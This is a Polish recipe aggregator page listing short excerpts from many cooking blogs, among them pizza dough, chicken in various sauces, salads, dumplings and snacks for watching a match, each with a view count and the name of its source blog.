Domowa Pizza a dokładnie domowe Ciasto , które jest puszyste ,grube , idealne. 🍕 🍕 🍕 🍕 Ciasto na suchych drożdżach , które zawsze się udaje i zawsze świetnie smakuje ;) Moja pizza na białym cebulowym sosie z duszoną wołowiną;) Smacznego ;)     zapraszam również do polubienia mojej strony https://www.facebook.com/gotowaniepatki/ będzie mi bardzo miło ;) o Tak ;)   🍕 🍕 🍕 🍕 🍕 🍕 Składniki na Ciasto na formę

Gotowanie Patki
Kotlety mielone z cukinią i serem feta 204

wiem czy mi na to pozwoli... :P Rzadko ostatnio zdarza nam się jeść mięso mielone w wersji smażonej. Zazwyczaj wybieramy lżejszą opcję, czyli gotowane pulpety z jakimś lekkim sosem (które, notabene, mała M uwielbia). Jednak raz na jakiś czas mamy ochotę zarówno na coś cięższego jak i niestandardowego. Tak jak na tego typu kotlety mielone z dodatkiem cukinii i sera

My simple kitchen
” Kozacka karkówka „ 683

temperaturze 160-170 C przez około godzinkę . Oczywiście , im grubsze plastry , tym dłuższy czas , im cieńsze , tym krótszy . Podajemy na gorąco z dowolnymi dodatkami , np ze świeżą sałatą ,polaną sosem jogurtowo – koperkowym Smacznego !   Artykuł ” Kozacka karkówka „ pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Kopytka z kaszy jaglanej 226

wychodzi dość duża miska klusek, która spokojnie powinna wystarczyć na obiad dla 4 osób. Kopytka jaglane można jeść na słodko np. z jogurtem i cukrem lub na słono z sosem i mięsem albo podsmażone z cebulką i wędzonym boczkiem. Polecam!     Składniki: 1 kg ziemniaków 200g kaszy jaglanej (ważona przed gotowaniem) 1 szklanka mąki pszennej 1/2 szklanki mąki ziemniaczanej

Blog z Apetytem
Roladki z kurczaka z suszonymi pomidorami 190

połączenie!;), serkiem mascarpone z suszonymi pomidorami i wędliną. Do takiej wersji drobiu pasuje naprawdę wiele, więc puśćcie wodze fantazji i gotujcie!     Koniecznie wypróbujcie i połączcie roladki z sosem Veloute , który świetnie komponuje się z drobiem i owocami morza – polane roladki zyskają nowego oblicza! Gotowe roladki z kurczaka podaję z rozmaitymi rodzajami sałat, młodą kapustą , burakami tartymi, mizerią

Zasmakuj Kuchni
Rożki francuskie z jabłkami i rabarbarem / Apple rhubarb turnovers 212

takie nadziewane tylko jabłkami i rodzynkami z odrobiną cynamonu. Niebo w gębie, zapraszam po przepis! Jeżeli lubisz takie dobroci w cieście francuskim, spróbuj także te z jabłkami, żurawiną z sosem waniliowym – pyszności! Scroll down for recipe in English Rożki francuskie z jabłkami i rabarbarem (6 sztuk) Składniki: 1 opakowanie (375 g) ciasta francuskiego, rozmrożonego 350 g rabarbaru, pokrojonego

karmelowy
Sałatka grillowo obiadowa 190

Dziś mam sałatkę na grilla lub jako dodatek do obiadu. Jest to sałatka z sałaty rzymskiej, szpinaku, koktajlowych pomidorów oraz kukurydzy i cebuli. Do tego sos przygotowany na bazie majonezu, dipu paprykowego i ketchupu z przyprawami. Oj jaka tak sałatka była smaczna. Jeśli jesteście ciekawi co to za dip paprykowy zajrzyjcie do sklepu Kuchnie Świata , tam znajdziecie odpowiedź. Rozwiń

Ewa w kuchni
Surówka z cykorii i grejpfruta 207

listki i opłukać, następnie pokroić wzdłuż na paski. Jogurt wymieszać z posiekanymi orzechami, sokiem z cytryny, doprawić szczyptą soli i świeżo mielonym pieprzem. Cykorię wymieszać z grejpfrutem, zalać sosem jogurtowym i wymieszać. 1 porcja to ok. 130 kcal , węglowodany: 18g, białko: 6g, tłuszcz: 4g Informacje dla diabetyków: w jednej porcji znajduje się 1,8WW i 0,6WBT SMACZNEGO! Artykuł Surówka

Dietolog
UDKA PIECZONE W MARYNACIE SŁODKO-PIKANTNEJ 183

WYKONANIE: ŁATWE PRZYBLIŻONY CZAS PRZYGOTOWANIA: 100 MINUT (+ 12 GODZIN MARYNOWANIE) ORIENTACYJNA CENA POTRAWY: 6 ZŁ. ILOŚĆ PORCJI: 2 Składniki podstawowe: 4 udka z kurczaka. Składniki marynaty: 2 łyżki sosu słodko-pikantnego chili, łyżka oleju z dodatkiem bazylii, 1/2 łyżeczki soli, łyżeczka bazylii, łyżeczka suszonej natki pietruszki. Przygotowanie: Mięso myję i osuszam. Składniki marynaty dokładnie łączę, nacieram mięso, odstawiam do lodówki

JejKuchnia
Posiłek jogina, czyli ryż ze smażonymi warzywami. 270

chwalą, bo w sumie czy mają inne wyjście Składniki na 4 porcje: 350-400 g ryżu (najlepiej basmati) 4 marchewki 4-6 gałązek selera naciowego 2 cebule 2 łyżki sosu sojowego (jeżeli nie maci lub po prostu nie lubicie pominąć i zastąpił łyżeczka soli) 8-10 nasion kardamonu pęczek pietruszki lub kolendry czubata łyżka pasty sezamowej (tahini) lub 2 łyżki

greenscarf
sałatka makaronowa z tuńczykiem 172

tuńczyk jest na drugim planie. A żeby dodać koloru to odrobina papryki i kukurydzy nam zagrała. Składniki: szklanka suchego makaronu - u mnie mini kokardki  mała puszka tuńczyka w sosie własnym 1/2 puszki kukurydzy mała zielona papryka 4 różyczki kalafiora łyżeczka majonezu - można zastąpić jogurtem greckim sól i pieprz do smaku Przygotowanie: makaron gotujemy zgodnie z oznaczeniem na opakowaniu kalafiora

Gotowanie z pasją
Zielone tajskie curry , wersja uproszczona 143

mieszając . Smażymy na dużym ogniu . Na koniec kurczak , mieszamy , podsmażamy , dodajemy pastę curry i solimy do smaku . Jak kurczak się usmaży , wlewamy mleko kokosowe i smażymy do momentu , aż sos lekko się zagęści . Jeśli użyjecie zbyt wodnistego mleka nie zgęstnieje , dlatego odradzam odtłuszczone i z mniejszą zawartością niż 80 % . Cały proces przygotowania curry powinien się zamknąć w około 15 minutach

Ogrodnik w podróży
Przepisy i przekąski na mecz. My kibicujemy dalej! 258

przepisu wystarczy kliknąć w jego nazwę) Cebulowa pizza na suchych drożdżach (dodatki możecie dowolnie zmienić wg własnego gustu) Serowo-paprykowy dip do słonych przekąsek Pomidorki z serem i sosem czosnkowo-ziołowym Chrupiące kęski z kurczaka Kolorowa sałatka z kabanosem Imprezowe parówki w kukurydzianym cieście Udanego kibicowania i… smacznego A ja tym czasem wracam do popcornu… muszę się pospieszyć

Słodkie okruszki
Pasta z selera. Pasta selerowa. 226

Dzisiaj proponuję przygotować pastę selerową ze świeżych liści selera. To świetna przyprawa bez dodatków, ulepszaczy, wzmacniaczy smaku. Pastę z selera zamknęłam w słoiczku. Może służyć jako dodatek do zup, sosów, zapiekanek, do kanapek. Pasta wymieszana z tartym parmezanem i mielonymi orzechami, czy migdałami będzie doskonałym Pesto do makaronu. Najlepszym momentem na ich zbiór jest lato i wczesna jesień. Dlatego warto

Damsko-męskie spojrzenie na kuchnię
Kurczak pieczony na butelce podany z młodymi warzywami 871

się piwo z butelki. Jeśli piwo samo nie będzie chciało wypływać to należy do niego wlać wodę, np. 1 szklankę.  Uwaga : podczas pieczenia utworzy się bardzo duża ilość sosu, w której będą się gotowały młode warzywa.  Ewentualnie pod koniec pieczenia zwiększyć temperaturę w piekarniku do 200ºC, aby mocniej zrumienić skórkę z kurczaka. Młode warzywa i wygląd kurczaka

Ugotować
Szybka surówka z pomidorkami koktajlowymi, ogórkiem małosolnym i cebulą 175

Pomidorki przekrawamy na pół, ogórki kroimy w plastry, cebulkę drobno siekamy. 2. Czosnek przeciskamy przez praskę, mieszamy z olejem, musztardą, solą i pieprzem.  3. Warzywa łączymy z sosem. Dokładnie mieszamy

Szefowa kuchni
Młoda kapusta 179

temu, doceniając za prostotę i szybkość przygotowania. No i oczywiście pyszny lekko słodki smak i delikatność. Zapraszam do innych przepisów na dodatki do obiadu: – ogórki kiszone – pikantny sos pomidorowy – domowa musztarda – ziemniaki nakrajane – podstawowy przepis na ziemniaczane puree – puree z dyni – jak upiec ziemniaki w mundurkach – konfitura z cebuli – frytki

nietylkopasta.pl
Kurczak w sosie serowo-śmietanowym 158

Składniki 1/2 kg podudzi z kurczaka 1 szklanka śmietanki 36% 100 g twarogu koziego 200 g mrożonych podgrzybków 1 łyżka posiekanego lubczyku 1 łyżeczka mielonej słodkiej papryki 1/4 łyżeczki sosu tabasco 1/2 łyżeczki soli 1/2 łyżeczki mielonego pieprzu Przygotowanie Kurczaka myjemy, oczyszczamy, osuszamy papierowym ręcznikiem. Śmietanę, pokruszony ser, rozmrożone grzyby, posiekany lubczyk, słodką paprykę, tabasco, sól i pieprz, dokładnie mieszamy

R'n'G Kitchen
PRECELKI DROŻDŻOWE "CZOSNKOWO-ZIOŁOWE" 157

Aromatyczne bułeczki z ziołowo -czosnkową oliwą doskonałe na imprezy , grilla, przyjęcia. Doskonale smakują zamoczone w domowej roboty sosie czosnkowym ! ok. 12 bułeczek SKŁADNIKI:  Ciasto: 400 g mąki pszennej ½ szkl. ciepłej wody 15 g świeżych drożdży 2 łyżki oliwy z oliwek pół łyżeczki soli łyżeczka cukru Do posmarowania: ½ szkl. oliwy z oliwek 1 łyżeczka suszonego czosnku 1 łyżeczka ulubionych ziół

Marcepanowa kuchnia
MAKARON Z BROKUŁAMI I KURCZAKIEM 158

Brokuły kroimy w mniejsze ale nie zbyt małe części i gotujemy na parze. Jak kurczak będzie podsmażony dodajemy pokrojone suszone pomidory oraz brokuły. Dolewamy 1/2 szklanki wody aby powstał sos. Dusimy do momentu aż mięso nie będzie surowe. Po tym czasie dodajemy ugotowany makaron pełnoziarnisty wstążki Arc Pol . Przyprawiamy jeżeli jest za mało słony. RADA: możesz użyć dowolnego makaronu

Kuchnia w oparach
PODUDZIA KURCZAKA PIECZONE W MARYNACIE Z SOSEM TERIYAKI 196

WYKONANIE: ŁATWE PRZYBLIŻONY CZAS PRZYGOTOWANIA: 100 MINUT (+ 12 GODZIN MARYNOWANIE) ORIENTACYJNA CENA POTRAWY: 6 ZŁ. ILOŚĆ PORCJI: 2 Składniki podstawowe: 4 podudzia z kurczaka. Składniki marynaty: 2 łyżki sosu teriyaki, łyżka oleju, 1/3 łyżeczki cynamonu, łyżeczka ostrej papryki, 1/2 łyżeczki soli, łyżeczka syropu klonowego (lub płynnego miodu). Przygotowanie: Mięso myję i osuszam. Składniki marynaty dokładnie łączę, nacieram mięso, odstawiam

JejKuchnia
Biała papryka nadziewana bryndzą i tuńczykiem 184

Sezonowa papryka nadziewana bryndzą i tuńczykiem. Podana na ostro stanowi prosty sposób na pyszny obiad lub kolację. Ja podałam ją z hummusem z bobu, ale można wykorzystać inny ulubiony sos lub dip. 3 białe papryki 120 g bryndzy puszka dobrej jakości tuńczyka w kawałkach jajko papryczki jalapeño dymka sól i pieprz oliwa Piekarnik nagrzewamy do 180 stopni. Papryki myjemy, obieramy

Mienta blog
Przepis #153 Truskawkowy Czekokrem 129

blendujemy. Na koniec dodajemy kakao oraz syrop daktylowy. Ponownie blendujemy dokładnie łącząc wszystkie składniki.  Czekokrem z truskawkami świetnie sprawdzi się do smarowania naleśników czy placuszków a także jako sos do lodów. Przechowujemy go w lodówce.  Smacznego

Health-Fit-Life
Placki z młodych ziemniaków, selera naciowego i cukinii 196

kolor , na dość głębokim oleju z obu stron . Po zdjęciu z patelni odsączamy nadmiar oleju , przez ułożenie , placków na papierowym ręczniku . Podajemy na gorąco , np z pieczonym kurczakiem i sosem , z jogurtem lub inaczej Smacznego ! Artykuł Placki z młodych ziemniaków, selera naciowego i cukinii pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Risotto ze szpinakiem i mascarpone 275

Ryż z kurczakiem i szpinakiem w aksamitnym sosie mascarpone. Bardzo smaczne danie, w całości przygotowane na patelni. Jest to jedna z tych potraw, co lepiej smakują niż wyglądają, ale cóż… smak wygrywa ;) 1 cebula 4 ząbki czosnku 1 filet z kurczaka 1 szklanka ryżu do Risotto (Arborio) ok 3 szklanek bulionu drobiowego 200 g szpinaku mrożonego 125 g serka

https:KKuchniaMniam
Tradycyjna kuchnia na Kaszubach 195

Jako że Kaszuby to region pełen ryb, warto wspomnieć również o tradycyjnej miejscowej przystawce jaką jest śledzik po kaszubsku. Od lat receptura jego przygotowywania pozostaje niezmieniona. Wystarczy trochę śledzi, sos pomidorowy, który przygotować można na bazie ketchupu i przecieru pomidorowego, posiekana cebula, kilka śliwek oraz odpowiednie przyprawy. Gdzie można spróbować lokalnych przysmaków? Jeżeli ktoś chce poczuć faktyczną moc kaszubskiej kuchni

Kulinarnyblog.pl - wiesz jak gotować!
Faszerowane bataty 165

Jest to jeden z tych przepisów, które nie wymagają dużego wysiłku oraz zbyt długiego czasu spędzonego w kuchni. Takie lubimy najbardziej ;) Słodycz batatów przełamana jest wytrawnym nadzieniem z sosem sezamowym. Polecam na pyszny, zdrowy obiad. FASZEROWANE BATATY Czas przygotowania 40-50 minut Z podanych składników przygotowałam jedną porcję Batat Garść ugotowanej ciecierzycy (może być gotowa ze słoika) Kilka pomidorków koktajlowych

HealthyCreations
Bakłażan na ostro, faszerowany wieprzowiną 190

więc po upieczeniu połówka bakłażana była wystarczającą porcją dla jednej osoby. Nie miałam w domu żadnych zieloności, ale myślę, że dodatek nawet prostej sałaty lodowej z czosnkowym sosem, bardzo by do tak upieczonych bakłażanów pasował.  Polecam! składniki (2 porcje) 1 duży bakłażan 1 cebula czerwona, pokrojona w kostkę ok 250 g mięsa wieprzowego, zmielonego (szynka, schab

Stare Gary
Sałatka z pieczonym burakiem i kozim serem 234

przez 3-4 minuty aż nieco zmięknie. Na talerzu połóż ugotowaną soczewicę, jarmuż z cebulką i czosnkiem, pokrojone w plasterki buraki i kozi ser. Pokrop wszystko ostem balsamicznym lub sosem balsamico który jest bardziej gęsty. W razie potrzeby dopraw jeszcze solą i pieprzem. Smacznego!   Artykuł Sałatka z pieczonym burakiem i kozim serem pochodzi z serwisu nietylkopasta.pl - blog kulinaria, restauracje

nietylkopasta.pl
Kurczak duszony w pomidorach z ryżem 152

pomidory. Dusić po przykryciem ok. 20 minut. W tym czasie ugotować 2 woreczki ryżu. Pod koniec duszenia dodać kiełbaskę podsmażoną i wymieszać. Ryż wysypać na talerz i polać gorącym sosem. Artykuł Kurczak duszony w pomidorach z ryżem pochodzi z serwisu Pomysłowa kuchnia

Pomysłowa kuchnia
Kurczak z ananasem i pomidorkami wg Pascala 194

Następnie dodajemy kurkumę, sporą szczyptę ostrej papryki oraz 3 gałązki tymianku. Wlewamy wodę oraz mleczko kokosowe. Gotujemy na średnim ogniu przez około 30-45 minut (lub do momentu gdy sos się zredukuje). W międzyczasie dodajemy kawałki ananasa. Doprawiamy solą oraz pieprzem. Na sam koniec dodajemy pomidorki koktajlowe. Posypujemy posiekaną kolendrą lub pietruszką. Ryż gotujemy wg czasu podanego na opakowaniu. Podajemy

Smaki Na Talerzu
Grillowana pierś kurczaka ze szpinakiem duszonym na Cydrze, młodymi grillowanymi ziemniaczkami i jajkiem sadzonym 146

solą, białym pieprzem i gałką muszkatołową. Podaję grillowane ziemniaczki posypane koprem z piersią kurczaka na szpinaku, z grillowanymi warzywami i jajkiem sadzonym a płynne żółtko niech stanie Ci się sosem.  Smacznego, Klaudia

Mango Papaja
Placek mięsno-warzywny z patelni 218

jest reakcja. Każdy mówił,”jakie to dobre”. Tak faktycznie jest, mogę polecić, placek jest pyszny. Myślę, że możliwości farszu są duże, wedle naszych upodobań. Podałam placek z sosem czosnkowym. Zapraszam do przepisu:) Składniki Farsz Pół pętka … Czytaj dalej Placek mięsno-warzywny z patelni

gotuj ze mną
Przekąski idealne do chrupania podczas.... meczu! Beskidzkie! 197

sera kroimy na pół, następnie wzdłuż dłuższego boku nacinamy nożem obok siebie na całej długości. Powstałą 'falbanką" owijamy palucha z jednej strony. Zawiązujemy cieniutkim paskiem pora. Podajemy z ulubionymi sosami. 3. Paluchowe roladki . Potrzebujemy; paluchy ze spiruliną kilka plastrów ulubionej wędliny liść pora Palucha owijamy szynką, zawiązujemy porem. Przekąskę najlepiej zrobić tuż przed podaniem ponieważ paluchy za bardzo namokną

Radość kipiąca uśmiechem.
Prosta zapiekanka z młodych ziemniaków 216

zmiękły . Po tym czasie zdejmujemy folię, zwiększamy temperaturę do 190 C i pieczemy tak długo ,aż wierzch będzie złocisty i chrupiący . Gotowe Podajemy z dowolnymi dodatkami ,np koperkiem , czy sosem jogurtowo -ziołowym . Doskonałe do różnych mięs , a nawet z jajkiem sadzonym i maślanką …Smacznego ! Artykuł Prosta zapiekanka z młodych ziemniaków pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Ciasto na pizzę – przepis 145

wyrób elastyczne ciasto odchodzące od dłoni, ciut cierpliwości, a będzie idealne. Odstaw w ciepłe miejsce na godzinę, niech wyrośnie. Po tym czasie podziel ciasto na dwie równe części. Posmaruj sosem, nałóż ulubione dodatki i piecz 20 minut w temp. 200C grzaniem góra plus dół bez termoobiegu. SMACZNEGO

Zasmakuj Kuchni
Pasta z tuńczykiem i jajkiem [wideo] 246

minutowym filmiku krok po kroku pokazuję jak ją zrobić. Jeśli wolisz tradycyjną wersję przepisu tuż po wideo jest też opis Zobacz więcej filmików z przepisami Składniki: puszka tuńczyka w sosie własnym (najlepiej, kiedy jest już pokrojony), 2 jajka ugotowane na twardo, 2 ogórki kiszone, majonez, sól, pieprz. Przygotowanie: Pokrój jajka w drobną kostkę. Pokrój ogórki kiszone jak najdrobniej. Wrzuć pokrojone

Rozdomowiona
Makaron czekoladowy z truskawkami i mascarpone 214

znów wymieszaj. Truskawki pokrój w ćwiartki. Wyłóż na głęboki talerz makaron, nałóż mascarpone ze śmietaną i ułóż truskawki. Gotowe! Aby dodać jeszcze więcej słodkości, możesz polać makaron z truskawkami sosem czekoladowym. Pełna rozpusta, co? Zobacz wszystkie moje przepisy Teraz jeszcze więcej przepisów, porad, wsparcia i inspiracji znajdziesz w mojej grupie na Facebooku – Rozdomowiona w akcji. Dołącz do nas, będzie

Rozdomowiona
szaszłyki z kurczaka i boczku 138

marynatą. Wstawiamy na ok. 60 min. do lodówki. Zamarynowane mięso naprzemiennie z plastrami boczku nabijamy na szpatułki. Grilujemy przez ok. 10-15 min. z każdej strony. Podajmy z ulubionymi sosami

Domowy Smak Jedzenia
Makaron z kiełbasą 175

dente (około 5 - 7 minut, w zależności od makaronu) od czasu do czasu mieszając. Rozrabiamy mąkę z 1/2 szklanki wody i dodajemy do dania, gotujemy do momentu aż gęstość sosu będzie dla nas odpowiednia. (adsbygoogle = window.adsbygoogle || []).push

Delusional Trine
placki z cukinii 169

był cedzak do makaronu. Wbiłam jajko, dodałam mąkę ziemniaczaną, sodę i przyprawiłam do smaku. Wszystko wymieszałam i smażyłam na rozgrzanym oleju na brązowo - złoty kolor. Usmażone podawałam z sosem czosnkowym (  tutaj ). Smacznego! Lidka

Pieprzyć z Fantazją
Spaghetti z krewetkami, czerwonym pesto i różowym winem 163

makaron zgodnie z instrukcją na opakowaniu. 7. Na patelnię wlej wino i poczekaj 2 minuty, aż alkohol odparuje. 8. Dodaj na patelnię ugotowany makaron, dokładnie przemieszaj z krewetkami- rozrzedź sos wodą z makaronu jeśli trzeba. 9. Dopraw do smaku solą i pieprzem oraz dodaj natkę pietruszki. Smacznego! Prawns, red pesto and pink wine spaghetti 4 servings Ingredients: 250g tiger prawns

Kuchnia w Słońcu Skąpana
MAKARON ZE SZPINAKIEM I SERKIEM MASCARPONE 148

czasu do czasu mieszając do momentu całkowitego rozmrożenia się szpinaku i wyparowania nadmiaru wody. Do szpinaku dodaję ser, smażę dalej (na małym ogniu) aż ser całkowicie się rozpuści. Sos doprawiam do smaku i mieszam z wcześniej ugotowanym makaronem

JejKuchnia
Czebureki z mięsem 225

prosto z patelni, gorące, wtedy mają w środku pyszny rosołek, podobnie jak rosyjskie pielmieni czy gruzińskie chinkali. W barach najczęściej podawane są w ketchupem, chociaż ja wolę je z sosem typu tzatziki czy innym jogurtowym. Fotografowanie czeburekow to dla mnie nie lada wyzwanie. Pomyślcie tylko: gorące chrupiące ciasto, w środku soczyste aromatyczne nadzienie i cudowny rosołek. Zapach unosi się

Obiad gotowy
Kotleciki z łososia i kaszy jaglanej z sosem miętowo-czosnkowym 147

stopni, grzanie góra-dół. O kaszy jaglanej możecie poczytać w mojej recenzji książki „Jaglany detoks” . Bon apetit!     Artykuł Kotleciki z łososia i kaszy jaglanej z sosem miętowo-czosnkowym pochodzi z serwisu Kate's Kitchen

Kate's Kitchen
Szwedzkie matiesy 160

ułożyłem na plasterkach jabłek. Śmietanę słodką ubiłem na sztywno, dodałem startą cebulę, resztę soku z cytryny i kwaśną śmietanę. Wymieszałem, doprawiłem do smaku solą, cukrem i pieprzem kajeńskim. Przygotowanym sosem polałem śledzie, na wierzchu należy ułożyć porcje borówek. Udekorowałem krążkami cebuli, plasterkami ogórków i koperkiem. Podałem z białym chlebem

R'n'G Kitchen
Toskańska sałatka Panzanella- z mozzarellą, pomidorami i czereśniami 149

pomidory koktajlowe- około 100 g * słonecznik- 2 łyżki * bazylia- kilkanaście listków * masło klarowane- do smażenia Vinegret: * oliwa z oliwek- 2 łyżki * sól, pieprz, sok z cytryny- do smaku * słodki sos balsamiczny- do polania Przygotować winegret. Chleb pokroić w kostkę i podsmażyć na maśle klarowanym, a następnie wymieszać z pozostałymi składnikami sałatki oraz winegretem. Smacznego

Kraina Miodem Płynąca
Pampuchy szpinakowe z pieczarkami 186

Drożdżowe pampuchy są bardziej znane w wersji na słodko. Tym razem proponuję pampuchy ze szpinakiem, nadziewane pieczarkami. Można podać z gulaszem mięsnym, ze śmietaną, jogurtem, sosem czosnkowym, lub z masłem czosnkowym. 600 g mąki pszennej około 300 ml mleka 15 g drożdży świeżych 5 dag masła 1 jajko sól, pieprz szczypta cukru 200 g mrożonego szpinaku 400 g pieczarek

Praktyczna pl
Białe szparagi, gotowane pulpety i kasza pęczak z warzywami 195

jednej strony, po czym obrócić na drugą stronę na kolejne 2-3 minuty. Pod koniec gotowania dodać łyżeczkę śmietany i wymieszać dokładnie. Można zredukować płyn i użyć go jako sosu. Kaszę pęczak ugotować zgodnie z przepisem na opakowaniu. Marchew i selera obrać ze skórki, pokroić w kostkę. Cukinię umyć, przeciąć wzdłuż na 4 części, usunąć wewnętrzną część z pestkami. Miąższ

Dietolog
Pulled pork – szarpana wieprzowina , kuchnia Tex-Mex 239

Meksyku . Potrawy tej kuchni, to mieszanka meksykańskiej tortilli , wszechobecnej kukurydzy , fasoli , oraz teksańskiego barbecue i wolno pieczonych pulled pork ( bardzo wolno i bardzo długo.. ) , a także mega ostrych sosów . Generalnie pyszna , aromatyczna , tylko nieco ciężka i mimo całej miłości moich chłopaków , do niej , nie gości u nas często . No ale od czasu do czasu , można smacznie pogrzeszyć Składniki

Ogrodnik w podróży
Dietetyczne klopsiki z indyka 255

startą marchewkę i umieścić przygotowane klopsiki. Rosołu nie powinno być za dużo, klopsiki nie są całkowicie zanurzone, a w trakcie gotowania delikatnie je obrócić. Gotować około 15-20 minut sos zagęścić mąką. Na koniec wmieszać posiekany koperek podałam z ziemniaczanym puree i surówką z kapusty pekińskiej ( przepis tutaj

Gotuj zdrowo!Guten Appetit!
Tarta z porami 111

pieprzem, odstawiłem. Zagotowałem śmietanę, dodałem pokrojony ser camembert. Mieszałem, aż ser się roztopił. Przestudziłem, dodałem jajko, przyprawiłem pieprzem kajeńskim i gałką. Ciasto posypałem parmezanem, rozłożyłem na nim pory, polałem sosem serowym. Zapiekałem 20 minut w temperaturze 200 stopni

R'n'G Kitchen
Spirulina – zastosowanie i właściwości odżywcze 250

formie proszku lub tabletek. Najlepiej kupować ją w aptece lub w dobrych sklepach zielarskich. W formie proszku możemy dodawać ją do koktajli owocowych, warzywnych sałatek, kanapek, dipów , sosów nadaje potrawie wyrazisty smak. Ponadto spirulina wykorzystywana jest w kosmetyce, możemy nakładać maseczki ze spiruliny. Osoby, które nigdy wcześniej nie korzystały z alg powinny zacząć jej spożywanie od niewielkiej dawki. Z biegiem

Kulinarnyblog.pl - wiesz jak gotować!
Sałatka z rzodkiewką i bazylią – idealna na grilla 258

Sałatka z rzodkiewką i bazylią to lekka i bardzo orzeźwiająca propozycja dodatku do potraw z grilla. Zarówno rzodkiewka jak i świeża bazylia sprawiają, że ma wyśmienity

Kulinarnyblog.pl - wiesz jak gotować!
Sałatka z gruszką, bakłażanem i sosem truskawkowym 148

gruszka #truskawki #bakłażan #sałatka #sałata #lunchbox #serpleśniowy #migdały Sałatka o smaku czerwca, myślę, że tak można byłoby ją nazwać. Połączenie wytrawnych dodatków i sosu truskawkowego współgra tu zaskakująco dobrze. W czasie upałów nie chce jeść się gorących rzeczy, więc zabranie sałatki do pracy jako lunchbox sprawdzi się idealnie. Składniki na 1 porcję: 1 łyżka oleju rzepakowego 1 gruszka 1 garść

Katarzyna Skórska - dietetyk kliniczny
Kimchi z "resztek" 135

ząbki czosnku 1 kawałek imbiru (wielkości końcówki kciuka) 3-6 łyżek papryki gochugaru ( w zależności od preferencji ostrości, do kupienia np. w Kuchniach Świata, bardzo wydajna przyprawa) 4 łyżki sosu sojowego 1/4 łyżeczki soli Przygotowanie: Kapustę pokroić w grube paski i przełożyć do dużej miski. Zalać wodą z solą i dociążyć, żeby cała kapusta znalazła się pod wodą. Odstawić

Katarzyna Skórska - dietetyk kliniczny
Szaszłyki z marynowanej polędwicy wieprzowej z dodatkiem świeżego ogórka, pieczarek, papryki i cebuli 150

dowolnymi sałatkami. Jeśli lubicie szaszłyki, to spróbujcie także takich najprostszych, z dodatkiem kiełbasy 😊 Do dań mięsnych i kiełbas z grilla polecam szybką sałatkę ziemniaczaną z porem i lekko musztardowym sosem

Codzienna kuchnia niecodzienna
Zdrowa pizza na spodzie z twarogu 175

kawałek folii aluminiowej lub spożywczej i dopiero delikatnie wałkować Gotowy spód do pizzy włożyć do piekarnika nagrzanego do 200 stopni. Piec 5-7 minut Po tym czasie wyjąć, posmarować sosem (u mnie pasta paprykowa) i położyć dodatki Włożyć ponownie do piekarnika i piec jeszcze około 20 minut do uzyskania pożądanej chrupkości spodu

HealthyCreations
Tradycyjne kluski śląskie 280

Kluski śląskie to nie tylko doskonały dodatek do obiadu. Mogą stanowić samodzielne danie, jeśli podamy je na przykład z sosem grzybowym lub na słodko, z miodem. Kluski robi się szybko. Stanowią świetne urozmaicenie w codziennej diecie. Do tego dzieciaki je uwielbiają. Kluski śląskie możemy podać nawet maluchom, które skończyły 10. miesiąc życia. około 1 kg ziemniaków mąka ziemniaczana 1 jajko

Dieta bez mleka
Szybki gulasz z kurczaka ze szpinakiem i suszonymi pomidorami 219

wyparuje. Wlewamy kremówkę. Zawartość patelni doprowadzamy do wrzenia, mieszając od czasu do czasu. Dodajemy pokrojone suszone pomidory i dusimy całość przez około 10 minut (lub do pożądanego zredukowania się sosu). Na koniec doprawiamy do smaku solą, pieprzem i odrobiną gałki muszkatołowej. Podajemy z ryżem. Źródło

Smaki Na Talerzu
Placuszki z bakłażanem (Frittelle di melanzane) 223

Wami tym przepisem ;) Latem często je przygotowuj ę na kolacj ę,  podaj ę  z sa ł atą  z rukoli i pomidorów  z dodatkiem sosu czosnkowego. A dla miłośników oberżyny, polecam moje wcześniejsze przepisy: parmigiana czyli zapiekanka z bakłażanów , makaron z bakłażanem i suszonymi pomidorami , kotleciki z bakłażana , roladki z bakłażanem i kaszą kuskus . Smacznego

La grande e la piccola cuoca
Grillowane szparagi w szynce szwarcwaldzkiej 216

szparagi były cieniutkie, więc jednym plastrem szynki zawijałam 3 sztuki szparagów. A przygotowanie grillowanych szparagów w szynce szwarcwaldzkiej nie zajmuje więcej niż kwadrans. Białe szparagi polecam zaś podawać z sosem holenderskim . Polecam inne przepisy ze szparagami: – Szparagi zawijane w boczek (roladki ze szparagami) – Kremowa zupa szparagowa z serem – Zupa szparagowa krem – tarta ze szparagami Składniki

Damsko-męskie spojrzenie na kuchnię
Placki z kukurydzy konserwowej na słono 179

doskonała propozycja na szybkie śniadanie oraz pożywną przekąskę, którą można też zabrać do szkoły lub pracy. Idealnie smakują na ciepło i zimno, w wersji solo, jak również z dowolnym sosem, jogurtem, czy z ulubionymi dodatkami. Polecam! (około 11 sztuk) 1 puszka kukurydzy konserwowej 1 cebula 1 jajko 3 łyżki mąki pszennej (płaskie) 1/2 łyżeczki proszku do pieczenia sól, pieprz Ponadto

Di gotuje
NACHOSY Z CHILI CON CARNE I SOSEM SEROWYM – idealna przekąska na mecz! 242

Zainspirowana Mistrzostwami w piłce nożnej przygotowałam dla Was kilka pomysłów na takie szybkie przekąski do meczu. Dziś stawiamy na pyszne, chrupiące nachosy z mięsem i dużą ilością ciągnącego sosu serowego! Od samego czytania już ślinka cieknie! A co dopiero jak spróbujcie?! Połączenie chrapiących nachosów z mięsem, kiełbaską chorizo, aromatycznymi przyprawami na ostro i ulubionym serem to strzał w 10! Gwarantuję

Ostra na Słodko
Linguini z bobem i krewetkami 207

rondla wsyp bób i gotuj na wolnym ogniu przez 2-3 minuty. Włóż do rondla pozostałe 2 łyżki masła. Dodaj krewetki, wymieszaj całość, duś chwilę, dołóż makron i obtocz sosie, który jest na dnie rondla. Wyłóż na talerze. Podawaj makaron posypaną drobno posiekaną pietruszką. Smacznego! Sprawdź również przepis na bób z migdałowym pesto. Artykuł Linguini z bobem i krewetkami pochodzi

Niedzielny kucharz
Sałatka z brokułami i fetą 330

Sałatka z brokułami, fetą i sosem czosnkowym. Całość posypana płatkami migdałowymi. Brokuły ugotować w osolonej wodzie. Ostudzić i podzielić na mniejsze różyczki. Fetę pokroić w kostkę. Płatki migdałowe lekko podprażyć

Bullio
Udka pieczone po amerykańsku 589

